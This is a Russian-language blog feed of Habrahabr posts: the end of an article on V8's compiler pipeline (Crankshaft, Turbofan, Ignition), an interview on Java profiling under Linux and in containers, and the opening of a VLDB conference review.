                  Когда код доходит, это все подменяется на кусочки кода, которые уже у нас есть внутри компилятора, и компилятор знает, как хорошо работать с этим конкретным случаем, если мы имеем информацию о типе. То есть вот здесь подменяется на вызов кода, который знает, как получить primes из объекта:



                  Вот здесь подменяется на код, который знает, как получить элемент из массива SMI:



                  Здесь на код, который знает как посчитать остаток от деления двух SMI:



                  Он уже будет оптимизирован. И вот так примерно работал компилятор, насыщая такими кусочками.


                  Это, конечно, дает некоторый overhead, но и дает производительность.

                  У нас интернет развивался, увеличивалось количество JavaScript, требовалось большая производительность, и компания Google ответила созданием нового компилятора Crankshaft.



                  Старый компилятор стал называться FullCodegen, потому что он работает с полной кодовой базой, он знает весь JavaScript, как его компилировать. И он производит неоптимизированный код. Если он натыкается на какую-то функцию, которая вызывается несколько раз, он считает, что она стала горячей, и он знает, что компилятор Crankshaft может ее оптимизировать. И он отдает знания о типах и о том, что эту функцию можно оптимизировать в новый компилятор Crankshaft. Дальше новый компилятор заново получает абстрактное синтаксическое дерево. Это важно, что он получает не от старого компилятора AST, а снова идет и запрашивает AST. И зная о типах, делает оптимизацию, и на выходе мы получаем оптимизированный код.

                  Если он не может сделать оптимизацию, он сваливается в деоптимизацию. Когда это происходит? Вот как я сказал раньше, например, у нас в цикле Hidden Class крутится, потом неожиданное что-то и мы вывалились в деоптимизацию. Или, например, многие любят делать проверку, когда у нас есть что-то в левой части, и мы берем, например, длину, т.е. мы проверяем, есть ли у нас строка, и берем ее длину. Чем это плохо? Потому, что когда у нас строки нет, то в левой части у нас получается Boolean и на выходе получается Boolean, а до этого шел Number. И вот в этом случае мы сваливаемся в деоптимизацию. Или он встретил код, не может его оптимизировать.



                  На примере того же кода. Вот у нас был код насыщенный инлайн-кэшами, он весь инлайнится в новом компиляторе.



                  Он вставляет это все инлайново. Причем этот компилятор является спекулятивным оптимизирующим компилятором. На чем он спекулирует? Он спекулирует на знаниях о типах. Он предполагает, что если мы 10 раз вызвали с этим типом, то и дальше будет этот тип. Везде есть такие проверки на то, что пришел тот тип, который он ожидал, и когда приходит тип, которого он не ожидал, то он сваливается в деоптимизацию. Эти улучшения дали хороший прирост производительности, но постепенно команда, занимающаяся движком V8, поняла, что все надо начать с нуля. Почему? Вот есть такой способ разработки ПО, когда мы пишем первую версию, а вторую версию мы пишем с нуля, потому что мы поняли, как надо было писать. И создали новый компилятор – Turbofan в 2014 году.



                  У нас есть исходный код, который попадает в парсер, далее в компилятор FullCodegen. Так было до этого, никаких отличий. На выходе мы получаем неоптимизированный код. Если мы можем сделать какую-либо оптимизацию, то мы уходим в два компилятора, Crankshaft и Turbofan. FullCodegen сам решает, может ли оптимизировать конкретные вещи компилятор Turbofan, и если может, то отправляет в него, а если не может, то отправляет в старый компилятор. Туда постепенно стали добавлять новые конструкции из ES6. Начали с того, что заоптимизировали asm.js в него.

                  Зачем нужен новый компилятор?



                  1. Улучшить базовую производительность
                  2. Сделать производительность предсказуемой
                  3. Уменьшить сложность исходного кода

                  Что значит «улучшить базовую производительность»?


                  Старый компилятор был написан в те годы, когда у нас стояли мощные десктопы. И его тестировали на таких тестах, как octane, синтетических, которые проверяли пиковую производительность. Недавно была конференция Google I/O, и там менеджер, управляющий разработкой V8, завил, что они отказались в принципе от octane, потому что он не соответствует тому, с чем на самом деле работает компилятор. И это привело к тому, что у нас была очень хорошая пиковая производительность, но очень просела базовая, т.е. были не заоптимизированы вещи в коде, и когда код, хорошо работающий, натыкался на такие вещи, то шло значительное падение производительности. И таких операций скопилось много, вот несколько из них: forEach, map, reduce. Они написаны на обычном JS, нашпигованы проверками, сильно медленней, чем for. Часто советовали использовать for.

                  Медленная операция bind – она реализована внутри, оказывается, совершенно ужасно. Многие фреймворки писали свои реализации bind. Часто люди говорили, что я сел, написал на коленке bind и он работает быстрее, удивительно. Функции, содержащие try{}catch(e){}(и finally), – очень медленные.



                  Часто встречалась такая табличка, что лучше не использовать, чтобы не просела производительность. На самом деле код работает медленно, потому что компилятор работает неправильно. И с приходом Turbofan можно забыть об этом, потому что все уже заоптимизировано. Также очень важно: была улучшена производительность асинхронных функций.



                  Поэтому все ждут релиза новой node’ы, которая недавно вышла, там важна как раз производительность с async/await’ами. У нас язык асинхронный изначально, а пользоваться хорошо мы могли только callback’ами. И кто пишет с promise, знают, что их сторонние реализации работают быстрее, чем нативная реализация.

                  Следующей была задача сделать производительность предсказуемой. Была ситуация такая: код, который отлично показывал себя на jsPerf, при вставке в рабочий код показывал уже совсем другую производительность. Но и другие такие же случаи, когда мы не могли гарантировать, что наш код будет работать так же производительно, как мы изначально предполагали.



                  Например, у нас есть такой довольно простой код, который вызывает mymax, и если мы проверим его (при помощи ключей trace-opt и trace-deopt – показывают, какие функции были оптимизированы, а какие нет).



                  Мы можем запустить это с node, а можем и с D8 – специальной средой, где V8 работает отдельно от браузера. Она нам показывает, что оптимизации были отключены. Потому что слишком много раз запускался на проверку. В чем проблема? Оказывается, псевдомассив arguments — слишком большой, и внутри, оказывается, стояла проверка на размер этого массива. Причем эта проверка, как сказал Benedikt Meurer (ведущий разработчик Turbofan), не имела никакого смысла, она просто copypaste-ом с годами переходила.

                  И почему ограничена длина? Ведь не проверяется размер стека, ничего, вот просто так была ограничена. Это неожиданное поведение, от которого необходимо было избавляться.



                  Другой пример, вот у нас есть dispatcher, который вызывает два callback. Так же, если мы его вызовем, то увидим, что он был деоптимизирован. В чем здесь проблема? В том, что одна функция является strict, а вторая не strict. И у них в старом компиляторе получаются разные hidden classes. Т.е. он считает их разными. И в этом случае он так же уходит на деоптимизацию. И этот, и предыдущий код, он написан в принципе правильно, но он деоптимизируется. Это неожиданно.



                  Еще был вот такой пример в твиттере, когда оказалось, что в некоторых случаях цикл for в chrome работал даже медленнее, чем reduce. Хотя мы знаем, что reduce медленнее. Оказалось, проблема в том, что внутри for использовался let – неожиданно. Я поставил даже последнюю версию на тот момент и результат уже хороший – исправили.



                  Следующий пункт был — уменьшить сложность. Вот у нас была версия V8 3.24.9 и она поддерживала четыре архитектуры.



                  Сейчас же V8 поддерживает девять архитектур!



                  И код копился годами. Он был написан частично на C, Assembler, JS, и вот так примерно ощущал себя разработчик, который приходил в команду.



                  Код должен легко изменяться, чтобы можно было реагировать на изменения в мире. И с введением Turbofan количество архитектурно-специфичного кода уменьшилось.



                  С 2013 по 2017 года стало на 29% меньше архитектурно-специфичного кода. Это произошло за счет появления новой архитектуры генерации кода в Turbofan.



                  Они ее сделали управляемой данными, т.е. у нас есть граф управляющего потока, который содержит данные и знание о том, что с ними должно произойти. И он попадает в общий селектор команд, потом происходит резервирование регистров и далее генерация кода под разные архитектуры. Т.е. разработчику уже не надо знать, как написано все под конкретные архитектуры, а можно сделать более общий код. Вот так все происходило, хорошо улучшали код, но постепенно через несколько лет, после того как написали компилятор для интерпретируемого языка, оказалось, что все же нужен интерпретатор.

                  А в чем причина? Причину держит в руках Стив Джобс.



                  Это, конечно, не сам iPhone, а те смартфоны, которые породил iPhone, которые дали удобный доступ в интернет. И это привело к тому, что количество пользователей на мобильных устройствах превысило количество на десктопах.



                  А первоначально компиляторы разрабатывались для мощных десктопов, а не для мобильных устройств.



                  Вот схема времени первичного анализа 1МБ JavaScript. И недавно был вопрос, почему ВКонтакте делает серверный рендеринг, а не клиентский. Потому что время, потраченное на анализ JS, может быть в 2-5 раз больше на мобильных устройствах. И это мы говорим о топовых устройствах, а люди зачастую ходят с совсем другими.

                  И еще одна проблема: у многих китайских устройствах памяти 512 МБ, а если посмотреть, как происходит распределение памяти V8, то появляется еще одна проблема.



                  Память делится на объекты (то что использует наш код) и кодовые объекты (это то, что использует сам компилятор — например, хранит там inline caches). Получается, что 30% памяти занято виртуальной машиной для поддержки внутреннего использования. Мы не можем этой памятью управлять, ее сам компилятор потребляет.

                  С этим необходимо было что-то делать, и в 2016 году команда разработчиков Android из Лондона ответила созданием нового интерпретатора Ignition.



                  Вы могли заметить, что код, оптимизированный компилятором Turbofan, не обращается за синтаксическим деревом в парсер, а получает что-то из интерпретатора. Он получает байт-код.



                  Теперь абстрактное синтаксическое дерево парсится в байт-код, и этот парсинг JavaScript происходит один раз, дальше используется байткод.

                  Если кто-то не знает, байткод – это компактное платформонезависимое представление программы. Это чем-то похоже на assembler, только платформонезависимый. Так он называется, потому что все инструкции занимают один байт.

                  Посмотрим, как для такого кусочка программы генерируется байткод.



                  У нас есть программа, у нас есть сгенерированный байткод и у нас есть набор регистров.

                  Так мы устанавливаем значения для этих регистров входные, которые попадут в нашу программу. На первом этапе мы загружаем в специальный регистр accumulator (он нужен для того, чтобы не расходовать лишний раз регистры, а участвует только в вычислениях) smi integer равный 100.



                  Следующая команда нам говорит, что нужно вычесть из регистра a2 (в табличке видим там 150) предыдущее значение аккумулятора (100). В accumulator мы получили 50.



                  Дальше нам команда говорит, что нужно сохранить в r0. Он связан с переменной d.



                  Дальше становится более понятно. Снова загружаем значение из b, умножаем на значение accumulator, добавляем a0 и получаем на выходе, соответственно, 105.



                  И вся наша программа превращается в длинную цепочку из байткода. Таким образом уменьшилось потребление памяти, которое уходило на хранение нашего кода.

                  Была вторая проблема, это память, которую потребляли inline caches. Для этого перешли на новые кеши – Data-driven IC, которые уменьшают стоимость медленного пути. Медленный путь – это как работает не оптимизированный код, быстрый код – когда он оптимизирован.



                  Слева мы видим старую схему. Когда нам нужно найти какое-либо поле в объекте, мы храним знание о том, где оно лежит в объекте, где-то храним этот объект и умеем с ним обращаться. В новой схеме существует управляющий вектор, в котором есть данные и команды, и знание о том, что с этими командами делать. И он проходит по загрузке inline caches, на быстрый путь, если деоптимизация, то на медленный путь. И, соответственно, эта схема уже не требует хранения обращений к объектам, и она получается компактней. В итоге после внедрения схемы потребление памяти на одинаковом коде уменьшилось.



                  И наконец в этом году схема сильно упростилась.



                  Здесь мы всегда работаем в компиляторе Turbofan. Можно заметить, что раньше компилятор FullCodegen знал весь JS, а компилятор Crankshaft — только часть JS, а теперь компилятор Turbofan знает весь JS и работает со всем JS. Если он не может оптимизировать, он выдает неоптимизированный код, если может, то, соответственно, оптимизированный. И за кодом он обращается в интерпретатор.



                  У нас есть классы, которые не видны (многие знают, что в ES6 есть новые классы, но это просто сахар). За ними необходимо следить, ибо код для хорошей производительности должен быть мономорфным, а не полиморфным. Т.е. если у нас изменяются входящие в функцию классы, у них меняется hidden class – у объектов, которые попадают в нашу функцию, то код становится полиморфным и он плохо оптимизируется. Если у нас объекты приходят одного типа hidden class, то, соответственно, код мономорфный.

                  В V8 код проходит через интерпретатор и JIT-компилятор. Задача JIT-компилятора — сделать код быстрее. JIT-компилятор прогоняет наш код в цикле и каждый раз, основываясь на данных, которые получил в прошлый раз, пытается сделать код лучше. Он наполняет его знанием о типах, которые получает при первом прогоне, и за счет этого делает какие-то оптимизации. В нем внутри лежат кусочки, которые ориентированы для работы с максимальной производительностью. Если у нас в коде есть a+b – это медленно. Мы знаем, что это number+number или string+string, мы можем сделать это быстро. Вот этим занимается JIT-компилятор.

                  Чем лучше оптимизация, тем выше накладные расходы (время, память). Задача же интерпретатора – уменьшить накладные расходы на память. Даже с приходом Turbofan отказались от некоторых оптимизаций, которые были ранее, потому что решили повышать базовую производительность и немного снижать пиковую.

                  В компиляторе есть два режима работы – холодный и горячий. Холодный, это когда наша функция запущена в первый раз. Если функция запускалась несколько раз, то компилятор понимает, что она уже горяча, и пытается ее оптимизировать. Здесь есть засада с тестами. Когда разработчики гоняют тесты по много раз и получают какие-либо данные, то это уже оптимизированный горячий код. А в реальности этот код может быть вызван один-два раза и показывать совсем другую производительность. Это необходимо учитывать.

                  С мономорфным кодом такой же пример. То есть когда мы пишем код, мы можем помочь нашему компилятору. Мы можем писать код так, словно у нас типизированный язык (не переопределять переменные, не записывать в них разные типы, возвращать всегда один и тот же тип).

                  Вот и все основные секреты.

                  Ссылки для чтения
                  github.com/v8/v8/wiki/TurboFan

                  http://benediktmeurer.de/
                  http://mrale.ph/
                  http://darksi.de/
                  https://medium.com/@amel_true



                  Если вы любите JS так же, как мы, и с удовольствием копаетесь во всей его нутрянке, вам могут быть интересные вот эти доклады на грядущей московской конференции HolyJS:

                  Original source: habrahabr.ru (comments, light).

                  https://habrahabr.ru/post/338930/


                  Метки:  

                  В поисках перформанса, часть 2: Профилирование Java под Linux

                  Четверг, 28 Сентября 2017 г. 17:24 + в цитатник
                  ValeriaKhokha сегодня в 17:24 Разработка

                  В поисках перформанса, часть 2: Профилирование Java под Linux

                    Бытует мнение, что бесконечно можно смотреть на огонь, воду и то, как другие работают, но есть и ещё кое-что! Мы уверены, что можно бесконечно говорить с Сашей goldshtn Гольдштейном о перформансе. Мы уже брали у Саши интервью перед JPoint 2017, но тогда разговор касался конкретно BPF, которому был посвящен доклад Саши.

                    На этот раз мы решили копнуть глубже и узнать фундаментальные проблемы мониторинга производительности и варианты их решения.



                    С чего стоит начинать



                    — В прошлый раз мы довольно подробно поговорили про BPF и вскользь обсудили проблемы мониторинга производительности Java под Linux. В этот раз хотелось бы сконцентрироваться не на конкретном инструменте, а на проблемах и поиске решений. Первый вопрос, довольно банальный, — как понять, что с производительностью есть проблемы? Следует ли думать об этом, если пользователь не жалуется?

                    Саша Гольдштейн: Если начинать думать о производительности только в момент, когда ваши пользователи жалуются, с вами они будут недолго. Для многих инженерия производительности — это траблшутинг и crisis mode. Телефоны звонят, свет мигает, система упала, клавиатура горит — обычные трудовый будни перформанс-инженера. В реальности же они проводят большую часть своего времени, планируя, проектируя, мониторя и предотвращая кризисы.

                    Для начала, capacity planning — оценка ожидаемой нагрузки системы и использования ресурсов; проектирование масштабируемости поможет избежать узких мест и получить значительные увеличения в нагрузке; инструментирование и мониторинг жизненно необходимы для понимания того, что происходит внутри системы, чтобы не копаться вслепую; благодаря установке автоматического оповещения вы точно будете знать о любых возникающих проблемах, как правило ещё до того, как пользователи начнут жаловаться; ну и конечно же будут единичные кризисы, решать которые придётся в стрессовых условиях.

                    Стоит отметить, что тулы постоянно меняются, но сам процесс остаётся неизменным. Приведу пару конкретных примеров: capacity planning вы можете сделать и на бумажке на коленке; можно использовать APM-решения (как New Relic или Plumbr) для end-to-end инструментирования и мониторинга, AB и JMeter для быстрого нагрузочного тестирования и так далее. Чтобы узнать больше, можно почитать книгу Брендана Грегга «Systems Performance» — это отличный источник по теме жизненного цикла и методологии перформанса, а «Site Reliability Engineering» от Google освещает тему установки характеристик производительности (Service Level Objectives) и их мониторинга.

                    — Допустим, мы поняли, что проблема есть: с чего начинать? Мне часто кажется, что многие (особенно не профессиональные перформанс-инженеры) сразу готовы расчехлять JMH, переписывать всё на unsafe и «хакать компиляторы». Потом смотреть, что получилось. Но ведь в реальности лучше не с этого начинать?

                    Саша Гольдштейн: Это довольно распространённая практика, когда при написании кода и проведении базовых тестов профайлера возникают проблемы с перформансом, которые можно легко исправить, поменяв код или «хакнув компиляторы». Однако на проде, исходя из моего опыта, это делается не так часто. Многие проблемы присущи только какой-то одной среде, вызваны меняющимися паттернами рабочей нагрузки или связаны с узкими местами вне кода вашего приложения, и лишь малую часть можно замикробенчмаркать и улучшить на уровне исходного кода «умными» хаками.

                    Вот пара примеров для иллюстрации:

                    • Пару лет назад Datadog столкнулись с проблемой, когда вставки и обновления базы данных в PostgreSQL скакали от 50 мс до 800 мс. Они использовали AWS EBS с SSD. Что это дало? Вместо тюнинга базы данных или изменения кода приложения они обнаружили, что виноват во всём троттлинг EBS: у него есть квота по IOPS, в случае превышения которой вы попадёте под ограничение производительности.
                    • Недавно у меня был пользователь с проблемой огромных скачков времени отклика на сервере, которые были связаны с задержками сбора мусора. Некоторые запросы занимали более 5 секунд (и появлялись они абсолютно бессистемно), так как сборка мусора выходила из-под контроля. Внимательно изучив систему, мы обнаружили, что с распределением памяти приложения или же с тюнингом сборки мусора всё было в порядке; из-за скачка в размере рабочей нагрузки фактическое использование памяти повысилось и вызвало свопинг, что абсолютно губительно для реализации любой сборки мусора (если сборщику нужно подкачивать и откачивать память, чтобы отмечать активные объекты, — это конец).
                    • Пару месяцев назад Sysdig столкнулся с проблемой изоляции контейнера: находясь рядом с контейнером Х, операции с файловой системой, выполняемые контейнером Y, были гораздо медленнее, в то время как использование памяти и загрузка процессора для обоих контейнеров были очень низкими. После небольшого исследования они обнаружили, что кэш каталогов ядра перегружался контейнером Х, что в дальнейшем вызывало коллизию хэш-таблицы и, как следствие, значительное замедление. Опять-таки, изменение кода приложения или распределения ресурсов контейнера эту проблему бы не решили.

                    Я понимаю, что часто гораздо проще сфокусироваться на вещах, которыми ты можешь управлять, например, хаки на уровне приложений. Чисто психологически это понятно, не требует глубоких знаний системы или среды и почему-то считается «круче» в некоторых культурах. Но обращаться к этому в первую очередь — неправильно.

                    — Наверняка следует сначала посмотреть, как приложение/сервис работает в продакшне. Какие инструменты ты для этого рекомендуешь, а какие — не очень?

                    Саша Гольдштейн: Мониторинг и профайлинг на проде — это набор инструментов и техник.

                    Начинаем с метрик высокоуровневого перформанса, фокусируясь на использовании ресурсов (процессор, память, диск, сеть) и характеристике нагрузки (# запросов, ошибок, типов запросов, # запросы к базе данных). Есть стандартные тулы для получения этих данных для каждой операции и времени выполнения. К примеру, на Linux обычно используют инструменты вроде vmstat, iostat, sar, ifconfig, pidstat; для JVM используют JMX-based тулы или jstat. Это метрики, которые можно непрерывно собирать в базу данных, возможно с 5-ти или 30-ти секундным интервалом, чтобы можно было проанализировать скачки и при необходимости вернуться в прошлое, чтобы скоррелировать предыдущие операции по развёртыванию, релизы, мировые события или изменения рабочей нагрузки. Важно, что многие фокусируются на собирании только средних показателей; они хоть и хороши, но, по определению, не представляют полное распределение того, что вы измеряете. Гораздо лучше собирать процентили, а по возможности даже и гистограммы.

                    Следующий уровень — это операционные метрики, которые обычно нельзя непрерывно собирать или хранить долгое время. Они включают в себя: лог сбора мусора, запросы сети, запросы к базе данных, классовые нагрузки и так далее. Разобраться в этих данных после того, как их где-то хранили, иногда гораздо труднее, чем, собственно, их собирать. Это позволяет, однако, задавать вопросы, вроде «какие запросы работали, пока нагрузка ЦП базы данных повышалась до 100%» или «какими были IOPS дисков и время отклика во время выполнения этого запроса». Одни лишь числа, особенно в виде средних показателей, не позволят вам провести подобного рода исследование.

                    И наконец, «хардкорный» уровень: SSH в сервере (или удаленный запуск тулов) для сбора большего количества внутренних метрик, которые нельзя хранить во время штатной работы сервиса. Это инструменты, которые обычно называют «профайлерами».

                    Для профайлинга Java-продакшна существует множество жутких тулов, которые не только дают большой оверхэд и задержки, но могут ещё и лгать вам. Несмотря на то, что экосистеме уже около 20 лет, есть лишь несколько надёжных профайлинговых техник с низким оверхэдом для JVM-приложений. Я могу порекомендовать Honest Profiler Ричарда Ворбертона, async-profiler Андрея Паньгина и, конечно, моего любимчика — perf.

                    Кстати, много тулов фокусируются на профайлинге процессора, разбираясь в том, какой путь выполнения кода вызывает высокую загрузку ЦП. Это здорово, но часто проблема не в этом; нужны инструменты, которые могут показывать пути выполнения кода, ответственные за распределение памяти (async-profiler теперь может делать и это), ошибки отсутствия страницы, непопадание в кэш, доступы к диску, запросы сети, запросы к базе данных и другие события. Меня в этой области привлекла именно проблема поиска правильных перформанс-тулов для исследования работающей среды.

                    Профилирование Java под Linux



                    — Я слышал, что под Java/Linux стек есть куча проблем с достоверностью замеров. Наверняка с этим можно как-то бороться. Как ты это делаешь?

                    Саша Гольдштейн: Да, это печально. Вот как выглядит текущая ситуация: у вас есть быстрая конвейерная линия с огромным количеством разных частей, которые нужно протестировать, чтобы найти дефекты и понять скорость приложения/сервиса. Вы не можете проверить абсолютно каждую часть, поэтому ваша основная стратегия — это проверять 1 часть в секунду и смотреть, всё ли в порядке, и вам нужно это делать через «крохотное окно» над этой «лентой», потому что подходить ближе уже опасно. Вроде неплохо, не так ли? Но потом оказывается, что когда вы пытаетесь в него посмотреть, оно показывает вам не то, что происходит на конвейере прямо сейчас; оно ждёт, пока конвейер перейдёт в волшебный «безопасный» режим, и только после этого даёт вам всё увидеть. Также оказывается, что многих частей вы не увидите никогда, потому что конвейер не может войти в свой «безопасный» режим, пока они рядом; и ещё оказывается, что процесс поиска дефекта в окошке занимает целых 5 секунд, так что делать это каждую секунду невозможно.

                    Примерно в таком состоянии сейчас находится множество профайлеров в мире JVM. YourKit, jstack, JProfiler, VisualVM — у всех у них одинаковый подход к профайлингу ЦП: они используют семплинг потоков в безопасном состоянии. Это значит, что они используют документированный API, чтобы приостановить все JVM-треды и взять их стек-трейсы, которые затем собирают для отчёта с самыми горячими методами и стеками.

                    Проблема такой приостановки процесса заключается в следующем: треды не останавливаются сразу же, рантайм ждёт, пока они не дойдут до безопасного состояния, которое может находиться после множества инструкций и даже методов. В результате вы получаете необъективную картину работы приложения, а разные профайлеры могут ещё и не соглашаться друг с другом!

                    Есть исследование, показывающее, насколько это плохо, когда у каждого профайлера своя точка зрения по поводу самого горячего метода в одной и той же рабочей нагрузке (Миткович и соавт., «Evaluating the Accuracy of Java Profilers»). Более того, если у вас есть 1000 тредов в сложном стеке вызовов Spring, часто собирать стек-трейсы не получится. Возможно, не чаще 10 раз в секунду. В результате ваши данные по стекам будут отличаться от фактической рабочей нагрузки ещё больше!

                    Решать такие проблемы непросто, но вкладываться стоит: некоторые рабочие нагрузки на проде невозможно профилировать, используя «традиционные» тулы вроде перечисленных выше.

                    Существует два раздельных подхода и один гибридный:

                    • Honest Profiler Ричарда Ворбертона использует внутренний недокументированный API, AsyncGetCallTrace, который возвращает стек-трейс одного треда, не требует перехода в безопасное состояние и вызывается с помощью обработчика сигнала. Изначально он был спроектирован Oracle Developer Studio. Основной подход заключается в установке обработчика сигнала и его регистрации на сигнал с установленным временем (например, 100 Гц). Затем необходимо взять стек-трейс любого треда, который в данный момент работает внутри обработчика сигнала. Очевидно, что есть непростые задачи, когда дело доходит до эффективного объединения стек-трейсов, особенно в контексте обработчика сигнала, но этот подход отлично работает. (Этот подход использует JFR, требующий коммерческую лицензию)
                    • Linux perf может предоставлять богатый сэмплинг стеков (не только для инструкций ЦП, но и для других событий, таких как доступ диска и запросы сети). Проблема заключается в преобразовании адреса Java-метода в имя метода, что требует наличие JVMTI-агента, достающего текстовый файл (perf map), который perf может читать и использовать. Есть также проблемы с реконструкцией стека, если JIT использует подавление указателей фрейма. Этот подход вполне может работать, но требует небольшой подготовки. В результате, однако, вы получите стек-трейсы не только для JVM-тредов и Java-методов, но и для всех имеющихся у вас тредов, включая стек ядра и стеки C++.
                    • async-profiler Андрея Паньгина сочетает в себе два подхода. Он устанавливает набор образцов perf, но также использует обработчик сигнала для вызова AsyncGetStackTrace и получения Java-стека. Объединение двух стеков даёт полную картину того, что происходит в потоке, позволяя избегать проблем с преобразованием имен Java-методов и подавлением указателей фрейма.

                    Любая из этих опций гораздо лучше, чем safepoint-biased профайлеры с точки зрения точности, ресурсопотребления и частоты отчётов. Они могут быть грубоватыми, но, думаю, точный профайлинг продакшна с низким оверхедом потребует ещё больших усилий.

                    Профилирование в контейнерах


                    — К слову об окружениях, сейчас модно всё паковать в контейнеры, здесь есть какие-то особенности? О чём следует помнить, работая с контейнеризованными приложениями?

                    Саша Гольдштейн: С контейнерами возникают интересные проблемы, которые многие тулы полностью игнорируют и в результате вообще перестают работать.

                    Вкратце напомню, что контейнеры Linux построены вокруг двух ключевых технологий: группы контроля и пространства имён. Группы контроля позволяют увеличить квоту ресурсов для процесса или для группы процессов: CPU time caps, лимит памяти, IOPS хранилища и так далее. Пространства имён делают возможной изоляцию контейнера: mount namespace предоставляет каждому контейнеру свою собственную точку монтирования (фактически, отдельную файловую систему), PID namespace — собственные идентификаторы процессов, network namespace даёт каждому контейнеру собственный сетевой интерфейс и так далее. Из-за пространства имён множеству тулов сложно правильно обмениваться данными с контейнезированными JVM-приложениями (хотя некоторые из этих проблем свойственны не только JVM).

                    Прежде чем обсудить конкретные вопросы, будет лучше, если мы вкратце расскажем о разных видах observability тулов для JVM. Если вы не слышали о некоторых из них, самое время освежить ваши знания:

                    • базовые тулы вроде jps и jinfo предоставляют информацию о действующих JVM-процессах и их конфигурации;
                    • jstack можно использовать, чтобы достать thread dump (стек-трейс) из действующих JVM-процессов;
                    • jmap — для получения head dump действующих JVM-процессов или более простых гистограмм классов;
                    • jcmd используется, чтобы заменить все предыдущие тулы и отправить команды действующим JVM-процессам через JVM attach interface; он основан на сокете домена UNIX, который используется JVM-процессами и jcmd для обмена данными;
                    • jstat — для мониторинга базовой информации JVM-перформанса, как загрузка класса, JIT-компиляция и статистика сборки мусора; основан на JVM, генерирующей файлы /tmp/hsperfdata_$UID/$PID с этими данными в бинарном формате;
                    • Serviceability Agent предоставляет интерфейс для проверки памяти JVM процессов, тредов, стеков и так далее и может быть использован с дампом памяти и не только живых процессов; он работает, читая память процесса и структуры внутренних данных;
                    • JMX (управляемые бины) может использоваться для получения информации о перформансе от действующего процесса, а также для отправления команд, чтобы контролировать его поведение;
                    • JVMTI-агенты могут присоединяться к разным интересным JVM-событиям, таким как загрузка классов, компиляция методов, запуск/остановка треда, monitor contention и так далее.

                    Вот некоторые проблемы, возникающие при профайлинге и мониторинге контейнеров из хоста, и способы их решения (в будущем постараюсь рассказать об этом подробнее):

                    • большинство инструментов требуют доступ к бинарникам процесса для поиска объектов и значений. Всё это находится в mount namespace контейнера и недоступно из хоста. Частично этот доступ можно обеспечить при помощи bind-mounting из контейнера или к вводу mount namespace контейнера в профайлере во время выполнения symbol resolving (это то, что сейчас делают perf и BCC тулы, о которых я рассказывал в предыдущем интервью).
                    • если у вас есть JVMTI-агент, который генерирует perf map (например, perf-map-agent), она будет написана в хранилище контейнера /tmp, используя ID процесса контейнера (например, /tmp/perf-1.map). Map-файл должен быть доступен хосту, а хост должен ждать верный ID процесса в имени файла. (Опять же, perf и BCC теперь могут делать это автоматически).
                    • JVM attach interface (на который полагаются jcmd, jinfo, jstack и некоторые другие тулы) требует верных PID и mount namespace attach файла, а также сокет UNIX домена, использовавшегося для обмена данными с JVM. Эту информацию можно прокинуть при помощи jattach utility и создания attach файла, входя в пространство имён контейнера или при помощи bind-mounting соответствующих директорий на хосте.
                    • использование файлов данных о производительности JVM (в /tmp/hsperfdata_$UID/$PID), которыми пользуется jstat, требует доступ к монтированию пространства имён контейнера. Это легко адресуется bind-монтированием /tmp контейнера на хосте;
                    • самый простой подход к использованию JMX-based инструментов — это, пожалуй, доступ к JVM, как если бы она была удалённой — конфигурируя RMI endpoint, как вы бы делали для удалённой диагностики;
                    • тулы Serviceability Agent требуют точного соответствия версий между JVM-процессом и хостом. Думаю, вы понимаете, что не стоит запускать их на хосте, особенно если он использует разное распределение и на нём установлены разные версии JVM.

                    Тут можно подумать: а если мне просто положить перформанс-тулы в контейнер, чтобы все эти проблемы с изоляцией возникали не из-за меня? Хоть идея неплохая, множество тулов не будут работать и с такой конфигурацией из-за seccomp. Docker, к примеру, отклоняет системный вызов perf_event_open, необходимый для профайлинга с perf и async-profiler; он также отклоняет системный вызов ptrace, который используется большим количеством тулов для чтения объёма памяти JVM-процесса. Изменение политики seccomp для принятия этих системных вызовов ставит хост под угрозу. Также, помещая тулы профайлинга в контейнер, вы увеличиваете его поверхность атаки.



                    Мы хотели продолжить разговор и обсудить влияние железа на профилирование…



                    Совсем скоро Саша приедет в Санкт-Петербург, чтобы провести тренинг по профилированию JVM-приложений в продакшне и выступить на конференции Joker 2017 с докладом про BPF, поэтому, если вы хотите погрузиться в тему глубже – у вас есть все шансы встретиться с Сашей лично.
                    Original source: habrahabr.ru (comments, light).

                    https://habrahabr.ru/post/338928/


                    Метки:  

                    Материалы с VLDB, конференции о будущем баз данных

                    Четверг, 28 Сентября 2017 г. 17:22 + в цитатник
                    azathot сегодня в 17:22 Разработка

                    Материалы с VLDB, конференции о будущем баз данных

                      Конференция VLDB (Very Large Data Bases, www.vldb.org), как несложно понять из названия, посвящена базам данных. Очень большим базам данных. О чем её название не говорит, так это о том, что там регулярно выступают очень серьезные люди. Много ли вы знаете конференций, где почти каждый год докладывается Майкл Стоунбрекер (Michael Stonebraker, создатель Vertica, VoltDB, PostgreSQL, SciDB)? Не думали ли вы, что было бы здорово узнать, над чем такие люди работают сейчас, чтобы через несколько лет, когда новая база разорвет рынок, не грызть локти?


                      VLDB — именно та конференция, которую вам нужно посетить, если вы думаете о будущем.
                      Она вам не очень поможет, если вы выбираете из существующих баз. Там есть небольшая доля industrial докладов (Microsoft, Oracle, Teradata, SAP Hana, Exadata, Tableau (!)), но самое интересное — это исследовательские доклады от университетов. Xотя очень быстро обнаруживается, что в командах университетов есть один-два человека, работающих на Google, Facebook, Alibaba… или перешедших туда сразу после подачи статьи.


                      Надеюсь, мне удалось вас базово заинтересовать, а теперь давайте пройдемся, собственно, по докладам.



                      Описать все 232 доклада не буду и пытаться, а постараюсь выделить ключевые группы, и для каждой группы продемонстрировать несколько выдающихся представителей.


                      1. Базы будущего


                      Очень скоро у нас появится дешевая энергонезависимая память (совмещение RAM+Hard Drive). Оперативная память, ядра и видеокарты стремительно дешевеют. Какими должны быть базы будущего, чтобы выиграть от всего этого технологического великолепия? Какие новые проблемы возникают?


                      1.1 Distributed Join Algorithms on Thousands of Cores


                      Понятно по названию: это исследование работы алгоритмов распределенного Join на системах с тысячами ядер.


                      1.2 Adaptive Work Placement for Query Processing on Heterogeneous Computing Resources


                      Распределение задач по разнородному кластеру.


                      1.3 SAP HANA Adoption of Non-Volatile Memory


                      Первые эксперименты с энергонезависимой памятью.


                      2. Транзакции в распределенных (кластерных) базах


                      Хорошо и легко жить на одном сервере. А вдруг базу нужно развернуть в кластер? Вдруг одну базу нужно расколоть на десятки мелких, согласно микросервисной архитектуре? Как быть с транзакциями?


                      2.1 An Evaluation of Distributed Concurrency Control


